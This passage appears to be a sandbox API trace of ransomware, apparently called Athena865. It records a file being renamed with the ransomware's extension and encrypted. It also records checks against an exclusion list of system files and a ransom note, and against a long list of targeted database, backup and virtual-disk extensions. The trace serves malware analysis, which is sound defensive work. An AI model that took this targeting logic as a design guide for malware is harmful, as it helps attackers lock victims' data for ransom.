(x86)\\windows media player\\media renderer\\connectionmanager_dmr.xml"), lpNewFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\connectionmanager_dmr.xml.athena865"), dwFlags=0x1) returned 1 [0096.400] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Media Player\\Media Renderer\\connectionmanager_dmr.xml.Athena865" (normalized: "c:\\program files (x86)\\windows media player\\media renderer\\connectionmanager_dmr.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0096.400] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5375) returned 1 [0096.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0096.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d480 [0096.401] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5189a8 [0096.401] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ab8) returned 1 [0096.401] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0096.402] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.402] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1800, lpName=0x0) returned 0x17c [0096.403] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1800) returned 0x100000 [0096.404] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ab8) returned 1 [0096.405] CryptGenRandom (in: hProv=0x518ab8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0096.405] CryptReleaseContext (hProv=0x518ab8, dwFlags=0x0) returned 1 [0096.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0096.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0096.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0096.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0096.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0096.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0096.405] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0096.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0096.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0096.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0096.405] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0096.405] CloseHandle (hObject=0x17c) returned 1 [0096.405] CloseHandle (hObject=0x154) returned 1 [0096.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d480 | out: hHeap=0x4f0000) returned 1 [0096.405] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5189a8 | out: hHeap=0x4f0000) returned 1 [0096.406] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0096.406] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79e0d5d3, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x79e0d5d3, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x550eb3bc, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DMR_120.jpg", cAlternateFileName="")) returned 1 [0096.406] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0096.406] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0096.406] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".") returned 1 [0096.406] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="..") returned 1 [0096.406] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="windows") returned -1 [0096.406] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="bootmgr") returned 1 [0096.406] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="temp") returned -1 [0096.406] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="pagefile.sys") returned -1 [0096.406] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="boot") returned 1 [0096.406] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="ids.txt") returned -1 [0096.406] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="ntuser.dat") returned -1 [0096.406] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="perflogs") returned -1 [0096.406] lstrcmpiW (lpString1="DMR_120.jpg", lpString2="MSBuild") returned -1 [0096.406] lstrlenW (lpString="DMR_120.jpg") returned 11 [0096.406] lstrcpyW (in: lpString1=0x241e8be, lpString2="DMR_120.jpg" | out: lpString1="DMR_120.jpg") returned="DMR_120.jpg" [0096.406] lstrlenW (lpString="DMR_120.jpg") returned 11 [0096.406] lstrlenW (lpString="Athena865") returned 9 [0096.406] lstrcmpiW (lpString1="R_120.jpg", lpString2="Athena865") returned 1 [0096.406] lstrlenW (lpString=".dll") returned 4 [0096.406] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".dll") returned 1 [0096.406] lstrlenW (lpString=".lnk") returned 4 [0096.406] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".lnk") returned 1 [0096.406] lstrlenW (lpString=".ini") returned 4 [0096.406] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".ini") returned 1 [0096.407] lstrlenW (lpString=".sys") returned 4 [0096.407] lstrcmpiW (lpString1="DMR_120.jpg", lpString2=".sys") returned 1 [0096.407] lstrlenW (lpString="DMR_120.jpg") returned 11 [0096.407] lstrlenW (lpString="bak") returned 3 [0096.407] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1 [0096.407] lstrlenW (lpString="ba_") returned 3 [0096.407] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1 [0096.407] lstrlenW (lpString="dbb") returned 3 [0096.407] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1 [0096.407] lstrlenW (lpString="vmdk") returned 4 [0096.407] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1 [0096.407] lstrlenW (lpString="rar") returned 3 [0096.407] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1 [0096.407] lstrlenW (lpString="zip") returned 3 [0096.407] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1 [0096.407] lstrlenW (lpString="tgz") returned 3 [0096.407] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1 [0096.407] lstrlenW (lpString="vbox") returned 4 [0096.407] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1 [0096.407] lstrlenW (lpString="vdi") returned 3 [0096.407] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1 [0096.407] lstrlenW (lpString="vhd") returned 3 [0096.407] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1 [0096.407] lstrlenW (lpString="vhdx") returned 4 [0096.407] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1 [0096.407] lstrlenW (lpString="avhd") returned 4 [0096.407] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1 [0096.407] lstrlenW (lpString="db") returned 2 [0096.407] lstrcmpiW (lpString1="pg", lpString2="db") returned 1 [0096.407] lstrlenW (lpString="db2") returned 3 [0096.407] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1 [0096.407] lstrlenW (lpString="db3") returned 3 [0096.408] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1 [0096.408] lstrlenW (lpString="dbf") returned 3 [0096.408] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1 [0096.408] lstrlenW (lpString="mdf") returned 3 [0096.408] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1 [0096.408] lstrlenW (lpString="mdb") returned 3 [0096.408] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1 [0096.408] lstrlenW (lpString="sql") returned 3 [0096.408] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1 [0096.408] lstrlenW (lpString="sqlite") returned 6 [0096.408] lstrcmpiW (lpString1="20.jpg", lpString2="sqlite") returned -1 [0096.408] lstrlenW (lpString="sqlite3") returned 7 [0096.408] lstrcmpiW (lpString1="120.jpg", lpString2="sqlite3") returned -1 [0096.408] lstrlenW (lpString="sqlitedb") returned 8 [0096.408] lstrcmpiW (lpString1="_120.jpg", lpString2="sqlitedb") returned -1 [0096.408] lstrlenW (lpString="xml") returned 3 [0096.408] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1 [0096.408] lstrlenW (lpString="$er") returned 3 [0096.408] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1 [0096.408] lstrlenW (lpString="4dd") returned 3 [0096.408] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1 [0096.408] lstrlenW (lpString="4dl") returned 3 [0096.408] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1 [0096.408] lstrlenW (lpString="^^^") returned 3 [0096.408] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1 [0096.408] lstrlenW (lpString="abs") returned 3 [0096.408] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1 [0096.408] lstrlenW (lpString="abx") returned 3 [0096.408] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1 [0096.408] lstrlenW (lpString="accdb") returned 5 [0096.408] lstrcmpiW (lpString1="0.jpg", lpString2="accdb") returned -1 [0096.408] lstrlenW (lpString="accdc") returned 5 [0096.409] lstrcmpiW (lpString1="0.jpg", lpString2="accdc") returned -1 [0096.409] lstrlenW (lpString="accde") returned 5 [0096.409] lstrcmpiW (lpString1="0.jpg", lpString2="accde") returned -1 [0096.409] lstrlenW (lpString="accdr") returned 5 [0096.409] lstrcmpiW (lpString1="0.jpg", lpString2="accdr") returned -1 [0096.409] lstrlenW (lpString="accdt") returned 5 [0096.409] lstrcmpiW (lpString1="0.jpg", lpString2="accdt") returned -1 [0096.409] lstrlenW (lpString="accdw") returned 5 [0096.409] lstrcmpiW (lpString1="0.jpg", lpString2="accdw") returned -1 [0096.409] lstrlenW (lpString="accft") returned 5 [0096.409] lstrcmpiW (lpString1="0.jpg", lpString2="accft") returned -1 [0096.409] lstrlenW (lpString="adb") returned 3 [0096.409] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0096.409] lstrlenW (lpString="adb") returned 3 [0096.409] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1 [0096.409] lstrlenW (lpString="ade") returned 3 [0096.409] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1 [0096.409] lstrlenW (lpString="adf") returned 3 [0096.409] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1 [0096.409] lstrlenW (lpString="adn") returned 3 [0096.409] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1 [0096.409] lstrlenW (lpString="adp") returned 3 [0096.409] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1 [0096.409] lstrlenW (lpString="alf") returned 3 [0096.409] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1 [0096.409] lstrlenW (lpString="ask") returned 3 [0096.409] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1 [0096.409] lstrlenW (lpString="btr") returned 3 [0096.409] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1 [0096.409] lstrlenW (lpString="cat") returned 3 [0096.409] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1 [0096.409] lstrlenW (lpString="cdb") returned 3 [0096.410] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1 [0096.410] lstrlenW (lpString="ckp") returned 3 [0096.410] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1 [0096.410] lstrlenW (lpString="cma") returned 3 [0096.410] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1 [0096.410] lstrlenW (lpString="cpd") returned 3 [0096.410] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1 [0096.410] lstrlenW (lpString="dacpac") returned 6 [0096.410] lstrcmpiW (lpString1="20.jpg", lpString2="dacpac") returned -1 [0096.410] lstrlenW (lpString="dad") returned 3 [0096.410] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1 [0096.410] lstrlenW (lpString="dadiagrams") returned 10 [0096.410] lstrcmpiW (lpString1="MR_120.jpg", lpString2="dadiagrams") returned 1 [0096.410] lstrlenW (lpString="daschema") returned 8 [0096.410] lstrcmpiW (lpString1="_120.jpg", lpString2="daschema") returned -1 [0096.410] lstrlenW (lpString="db-journal") returned 10 [0096.410] lstrcmpiW (lpString1="MR_120.jpg", lpString2="db-journal") returned 1 [0096.410] lstrlenW (lpString="db-shm") returned 6 [0096.410] lstrcmpiW (lpString1="20.jpg", lpString2="db-shm") returned -1 [0096.410] lstrlenW (lpString="db-wal") returned 6 [0096.410] lstrcmpiW (lpString1="20.jpg", lpString2="db-wal") returned -1 [0096.410] lstrlenW (lpString="dbc") returned 3 [0096.410] lstrcmpiW (lpString1="jpg", lpString2="dbc") returned 1 [0096.410] lstrlenW (lpString="dbs") returned 3 [0096.410] lstrcmpiW (lpString1="jpg", lpString2="dbs") returned 1 [0096.410] lstrlenW (lpString="dbt") returned 3 [0096.410] lstrcmpiW (lpString1="jpg", lpString2="dbt") returned 1 [0096.410] lstrlenW (lpString="dbv") returned 3 [0096.410] lstrcmpiW (lpString1="jpg", lpString2="dbv") returned 1 [0096.410] lstrlenW (lpString="dbx") returned 3 [0096.410] lstrcmpiW (lpString1="jpg", lpString2="dbx") returned 1 [0096.411] lstrlenW (lpString="dcb") returned 3 [0096.411] lstrcmpiW (lpString1="jpg", lpString2="dcb") returned 1 [0096.411] lstrlenW (lpString="dct") returned 3 [0096.411] lstrcmpiW (lpString1="jpg", lpString2="dct") returned 1 [0096.411] lstrlenW (lpString="dcx") returned 3 [0096.411] lstrcmpiW (lpString1="jpg", lpString2="dcx") returned 1 [0096.411] lstrlenW (lpString="ddl") returned 3 [0096.411] lstrcmpiW (lpString1="jpg", lpString2="ddl") returned 1 [0096.411] lstrlenW (lpString="dlis") returned 4 [0096.411] lstrcmpiW (lpString1=".jpg", lpString2="dlis") returned -1 [0096.411] lstrlenW (lpString="dp1") returned 3 [0096.411] lstrcmpiW (lpString1="jpg", lpString2="dp1") returned 1 [0096.411] lstrlenW (lpString="dqy") returned 3 [0096.411] lstrcmpiW (lpString1="jpg", lpString2="dqy") returned 1 [0096.411] lstrlenW (lpString="dsk") returned 3 [0096.411] lstrcmpiW (lpString1="jpg", lpString2="dsk") returned 1 [0096.411] lstrlenW (lpString="dsn") returned 3 [0096.411] lstrcmpiW (lpString1="jpg", lpString2="dsn") returned 1 [0096.411] lstrlenW (lpString="dtsx") returned 4 [0096.411] lstrcmpiW (lpString1=".jpg", lpString2="dtsx") returned -1 [0096.411] lstrlenW (lpString="dxl") returned 3 [0096.411] lstrcmpiW (lpString1="jpg", lpString2="dxl") returned 1 [0096.411] lstrlenW (lpString="eco") returned 3 [0096.411] lstrcmpiW (lpString1="jpg", lpString2="eco") returned 1 [0096.411] lstrlenW (lpString="ecx") returned 3 [0096.411] lstrcmpiW (lpString1="jpg", lpString2="ecx") returned 1 [0096.411] lstrlenW (lpString="edb") returned 3 [0096.411] lstrcmpiW (lpString1="jpg", lpString2="edb") returned 1 [0096.411] lstrlenW (lpString="epim") returned 4 [0096.411] lstrcmpiW (lpString1=".jpg", lpString2="epim") returned -1 [0096.411] lstrlenW (lpString="fcd") returned 3 [0096.411] lstrcmpiW (lpString1="jpg", lpString2="fcd") returned 1 [0096.412] lstrlenW (lpString="fdb") returned 3 [0096.412] lstrcmpiW (lpString1="jpg", lpString2="fdb") returned 1 [0096.412] lstrlenW (lpString="fic") returned 3 [0096.412] lstrcmpiW (lpString1="jpg", lpString2="fic") returned 1 [0096.412] lstrlenW (lpString="flexolibrary") returned 12 [0096.412] lstrlenW (lpString="fm5") returned 3 [0096.412] lstrcmpiW (lpString1="jpg", lpString2="fm5") returned 1 [0096.412] lstrlenW (lpString="fmp") returned 3 [0096.412] lstrcmpiW (lpString1="jpg", lpString2="fmp") returned 1 [0096.412] lstrlenW (lpString="fmp12") returned 5 [0096.412] lstrcmpiW (lpString1="0.jpg", lpString2="fmp12") returned -1 [0096.412] lstrlenW (lpString="fmpsl") returned 5 [0096.412] lstrcmpiW (lpString1="0.jpg", lpString2="fmpsl") returned -1 [0096.412] lstrlenW (lpString="fol") returned 3 [0096.412] lstrcmpiW (lpString1="jpg", lpString2="fol") returned 1 [0096.412] lstrlenW (lpString="fp3") returned 3 [0096.412] lstrcmpiW (lpString1="jpg", lpString2="fp3") returned 1 [0096.412] lstrlenW (lpString="fp4") returned 3 [0096.412] lstrcmpiW (lpString1="jpg", lpString2="fp4") returned 1 [0096.412] lstrlenW (lpString="fp5") returned 3 [0096.412] lstrcmpiW (lpString1="jpg", lpString2="fp5") returned 1 [0096.412] lstrlenW (lpString="fp7") returned 3 [0096.412] lstrcmpiW (lpString1="jpg", lpString2="fp7") returned 1 [0096.412] lstrlenW (lpString="fpt") returned 3 [0096.412] lstrcmpiW (lpString1="jpg", lpString2="fpt") returned 1 [0096.412] lstrlenW (lpString="frm") returned 3 [0096.412] lstrcmpiW (lpString1="jpg", lpString2="frm") returned 1 [0096.412] lstrlenW (lpString="gdb") returned 3 [0096.412] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1 [0096.412] lstrlenW (lpString="gdb") returned 3 [0096.412] lstrcmpiW (lpString1="jpg", lpString2="gdb") returned 1 [0096.412] lstrlenW (lpString="grdb") returned 4 [0096.413] lstrcmpiW (lpString1=".jpg", lpString2="grdb") returned -1 [0096.413] lstrlenW (lpString="gwi") returned 3 [0096.413] lstrcmpiW (lpString1="jpg", lpString2="gwi") returned 1 [0096.413] lstrlenW (lpString="hdb") returned 3 [0096.413] lstrcmpiW (lpString1="jpg", lpString2="hdb") returned 1 [0096.413] lstrlenW (lpString="his") returned 3 [0096.413] lstrcmpiW (lpString1="jpg", lpString2="his") returned 1 [0096.413] lstrlenW (lpString="ib") returned 2 [0096.413] lstrcmpiW (lpString1="pg", lpString2="ib") returned 1 [0096.413] lstrlenW (lpString="idb") returned 3 [0096.413] lstrcmpiW (lpString1="jpg", lpString2="idb") returned 1 [0096.413] lstrlenW (lpString="ihx") returned 3 [0096.413] lstrcmpiW (lpString1="jpg", lpString2="ihx") returned 1 [0096.413] lstrlenW (lpString="itdb") returned 4 [0096.413] lstrcmpiW (lpString1=".jpg", lpString2="itdb") returned -1 [0096.413] lstrlenW (lpString="itw") returned 3 [0096.413] lstrcmpiW (lpString1="jpg", lpString2="itw") returned 1 [0096.413] lstrlenW (lpString="jet") returned 3 [0096.413] lstrcmpiW (lpString1="jpg", lpString2="jet") returned 1 [0096.413] lstrlenW (lpString="jtx") returned 3 [0096.413] lstrcmpiW (lpString1="jpg", lpString2="jtx") returned -1 [0096.413] lstrlenW (lpString="kdb") returned 3 [0096.413] lstrcmpiW (lpString1="jpg", lpString2="kdb") returned -1 [0096.413] lstrlenW (lpString="kexi") returned 4 [0096.413] lstrcmpiW (lpString1=".jpg", lpString2="kexi") returned -1 [0096.413] lstrlenW (lpString="kexic") returned 5 [0096.413] lstrcmpiW (lpString1="0.jpg", lpString2="kexic") returned -1 [0096.413] lstrlenW (lpString="kexis") returned 5 [0096.413] lstrcmpiW (lpString1="0.jpg", lpString2="kexis") returned -1 [0096.413] lstrlenW (lpString="lgc") returned 3 [0096.413] lstrcmpiW (lpString1="jpg", lpString2="lgc") returned -1 [0096.413] lstrlenW (lpString="lwx") returned 3 [0096.414] lstrcmpiW (lpString1="jpg", lpString2="lwx") returned -1 [0096.414] lstrlenW (lpString="maf") returned 3 [0096.414] lstrcmpiW (lpString1="jpg", lpString2="maf") returned -1 [0096.414] lstrlenW (lpString="maq") returned 3 [0096.414] lstrcmpiW (lpString1="jpg", lpString2="maq") returned -1 [0096.414] lstrlenW (lpString="mar") returned 3 [0096.414] lstrcmpiW (lpString1="jpg", lpString2="mar") returned -1 [0096.414] lstrlenW (lpString="marshal") returned 7 [0096.414] lstrcmpiW (lpString1="120.jpg", lpString2="marshal") returned -1 [0096.414] lstrlenW (lpString="mas") returned 3 [0096.414] lstrcmpiW (lpString1="jpg", lpString2="mas") returned -1 [0096.414] lstrlenW (lpString="mav") returned 3 [0096.414] lstrcmpiW (lpString1="jpg", lpString2="mav") returned -1 [0096.414] lstrlenW (lpString="maw") returned 3 [0096.414] lstrcmpiW (lpString1="jpg", lpString2="maw") returned -1 [0096.414] lstrlenW (lpString="mdbhtml") returned 7 [0096.414] lstrcmpiW (lpString1="120.jpg", lpString2="mdbhtml") returned -1 [0096.414] lstrlenW (lpString="mdn") returned 3 [0096.414] lstrcmpiW (lpString1="jpg", lpString2="mdn") returned -1 [0096.414] lstrlenW (lpString="mdt") returned 3 [0096.414] lstrcmpiW (lpString1="jpg", lpString2="mdt") returned -1 [0096.414] lstrlenW (lpString="mfd") returned 3 [0096.414] lstrcmpiW (lpString1="jpg", lpString2="mfd") returned -1 [0096.414] lstrlenW (lpString="mpd") returned 3 [0096.414] lstrcmpiW (lpString1="jpg", lpString2="mpd") returned -1 [0096.414] lstrlenW (lpString="mrg") returned 3 [0096.414] lstrcmpiW (lpString1="jpg", lpString2="mrg") returned -1 [0096.414] lstrlenW (lpString="mud") returned 3 [0096.414] lstrcmpiW (lpString1="jpg", lpString2="mud") returned -1 [0096.414] lstrlenW (lpString="mwb") returned 3 [0096.414] lstrcmpiW (lpString1="jpg", lpString2="mwb") returned -1 [0096.414] lstrlenW (lpString="myd") returned 3 [0096.415] lstrcmpiW (lpString1="jpg", lpString2="myd") returned -1 [0096.415] lstrlenW (lpString="ndf") returned 3 [0096.415] lstrcmpiW (lpString1="jpg", lpString2="ndf") returned -1 [0096.415] lstrlenW (lpString="nnt") returned 3 [0096.415] lstrcmpiW (lpString1="jpg", lpString2="nnt") returned -1 [0096.415] lstrlenW (lpString="nrmlib") returned 6 [0096.415] lstrcmpiW (lpString1="20.jpg", lpString2="nrmlib") returned -1 [0096.415] lstrlenW (lpString="ns2") returned 3 [0096.415] lstrcmpiW (lpString1="jpg", lpString2="ns2") returned -1 [0096.415] lstrlenW (lpString="ns3") returned 3 [0096.415] lstrcmpiW (lpString1="jpg", lpString2="ns3") returned -1 [0096.415] lstrlenW (lpString="ns4") returned 3 [0096.415] lstrcmpiW (lpString1="jpg", lpString2="ns4") returned -1 [0096.415] lstrlenW (lpString="nsf") returned 3 [0096.415] lstrcmpiW (lpString1="jpg", lpString2="nsf") returned -1 [0096.415] lstrlenW (lpString="nv") returned 2 [0096.415] lstrcmpiW (lpString1="pg", lpString2="nv") returned 1 [0096.415] lstrlenW (lpString="nv2") returned 3 [0096.415] lstrcmpiW (lpString1="jpg", lpString2="nv2") returned -1 [0096.415] lstrlenW (lpString="nwdb") returned 4 [0096.415] lstrcmpiW (lpString1=".jpg", lpString2="nwdb") returned -1 [0096.415] lstrlenW (lpString="nyf") returned 3 [0096.415] lstrcmpiW (lpString1="jpg", lpString2="nyf") returned -1 [0096.415] lstrlenW (lpString="odb") returned 3 [0096.415] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1 [0096.415] lstrlenW (lpString="odb") returned 3 [0096.415] lstrcmpiW (lpString1="jpg", lpString2="odb") returned -1 [0096.415] lstrlenW (lpString="oqy") returned 3 [0096.415] lstrcmpiW (lpString1="jpg", lpString2="oqy") returned -1 [0096.415] lstrlenW (lpString="ora") returned 3 [0096.415] lstrcmpiW (lpString1="jpg", lpString2="ora") returned -1 [0096.415] lstrlenW (lpString="orx") returned 3 [0096.416] lstrcmpiW (lpString1="jpg", lpString2="orx") returned -1 [0096.416] lstrlenW (lpString="owc") returned 3 [0096.416] lstrcmpiW (lpString1="jpg", lpString2="owc") returned -1 [0096.416] lstrlenW (lpString="p96") returned 3 [0096.416] lstrcmpiW (lpString1="jpg", lpString2="p96") returned -1 [0096.416] lstrlenW (lpString="p97") returned 3 [0096.416] lstrcmpiW (lpString1="jpg", lpString2="p97") returned -1 [0096.416] lstrlenW (lpString="pan") returned 3 [0096.416] lstrcmpiW (lpString1="jpg", lpString2="pan") returned -1 [0096.416] lstrlenW (lpString="pdb") returned 3 [0096.416] lstrcmpiW (lpString1="jpg", lpString2="pdb") returned -1 [0096.416] lstrlenW (lpString="pdm") returned 3 [0096.416] lstrcmpiW (lpString1="jpg", lpString2="pdm") returned -1 [0096.416] lstrlenW (lpString="pnz") returned 3 [0096.416] lstrcmpiW (lpString1="jpg", lpString2="pnz") returned -1 [0096.416] lstrlenW (lpString="qry") returned 3 [0096.416] lstrcmpiW (lpString1="jpg", lpString2="qry") returned -1 [0096.416] lstrlenW (lpString="qvd") returned 3 [0096.416] lstrcmpiW (lpString1="jpg", lpString2="qvd") returned -1 [0096.416] lstrlenW (lpString="rbf") returned 3 [0096.416] lstrcmpiW (lpString1="jpg", lpString2="rbf") returned -1 [0096.416] lstrlenW (lpString="rctd") returned 4 [0096.416] lstrcmpiW (lpString1=".jpg", lpString2="rctd") returned -1 [0096.416] lstrlenW (lpString="rod") returned 3 [0096.416] lstrcmpiW (lpString1="jpg", lpString2="rod") returned -1 [0096.416] lstrlenW (lpString="rodx") returned 4 [0096.416] lstrcmpiW (lpString1=".jpg", lpString2="rodx") returned -1 [0096.416] lstrlenW (lpString="rpd") returned 3 [0096.416] lstrcmpiW (lpString1="jpg", lpString2="rpd") returned -1 [0096.416] lstrlenW (lpString="rsd") returned 3 [0096.416] lstrcmpiW (lpString1="jpg", lpString2="rsd") returned -1 [0096.416] lstrlenW (lpString="sas7bdat") returned 8 [0096.417] lstrcmpiW (lpString1="_120.jpg", lpString2="sas7bdat") returned -1 [0096.417] lstrlenW (lpString="sbf") returned 3 [0096.417] lstrcmpiW (lpString1="jpg", lpString2="sbf") returned -1 [0096.417] lstrlenW (lpString="scx") returned 3 [0096.417] lstrcmpiW (lpString1="jpg", lpString2="scx") returned -1 [0096.417] lstrlenW (lpString="sdb") returned 3 [0096.417] lstrcmpiW (lpString1="jpg", lpString2="sdb") returned -1 [0096.417] lstrlenW (lpString="sdc") returned 3 [0096.417] lstrcmpiW (lpString1="jpg", lpString2="sdc") returned -1 [0096.417] lstrlenW (lpString="sdf") returned 3 [0096.417] lstrcmpiW (lpString1="jpg", lpString2="sdf") returned -1 [0096.417] lstrlenW (lpString="sis") returned 3 [0096.417] lstrcmpiW (lpString1="jpg", lpString2="sis") returned -1 [0096.417] lstrlenW (lpString="spq") returned 3 [0096.417] lstrcmpiW (lpString1="jpg", lpString2="spq") returned -1 [0096.417] lstrlenW (lpString="te") returned 2 [0096.417] lstrcmpiW (lpString1="pg", lpString2="te") returned -1 [0096.417] lstrlenW (lpString="teacher") returned 7 [0096.417] lstrcmpiW (lpString1="120.jpg", lpString2="teacher") returned -1 [0096.417] lstrlenW (lpString="tmd") returned 3 [0096.417] lstrcmpiW (lpString1="jpg", lpString2="tmd") returned -1 [0096.417] lstrlenW (lpString="tps") returned 3 [0096.417] lstrcmpiW (lpString1="jpg", lpString2="tps") returned -1 [0096.417] lstrlenW (lpString="trc") returned 3 [0096.417] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1 [0096.417] lstrlenW (lpString="trc") returned 3 [0096.417] lstrcmpiW (lpString1="jpg", lpString2="trc") returned -1 [0096.417] lstrlenW (lpString="trm") returned 3 [0096.417] lstrcmpiW (lpString1="jpg", lpString2="trm") returned -1 [0096.417] lstrlenW (lpString="udb") returned 3 [0096.417] lstrcmpiW (lpString1="jpg", lpString2="udb") returned -1 [0096.417] lstrlenW (lpString="udl") returned 3 [0096.418] lstrcmpiW (lpString1="jpg", lpString2="udl") returned -1 [0096.418] lstrlenW (lpString="usr") returned 3 [0096.418] lstrcmpiW (lpString1="jpg", lpString2="usr") returned -1 [0096.418] lstrlenW (lpString="v12") returned 3 [0096.418] lstrcmpiW (lpString1="jpg", lpString2="v12") returned -1 [0096.418] lstrlenW (lpString="vis") returned 3 [0096.418] lstrcmpiW (lpString1="jpg", lpString2="vis") returned -1 [0096.418] lstrlenW (lpString="vpd") returned 3 [0096.418] lstrcmpiW (lpString1="jpg", lpString2="vpd") returned -1 [0096.418] 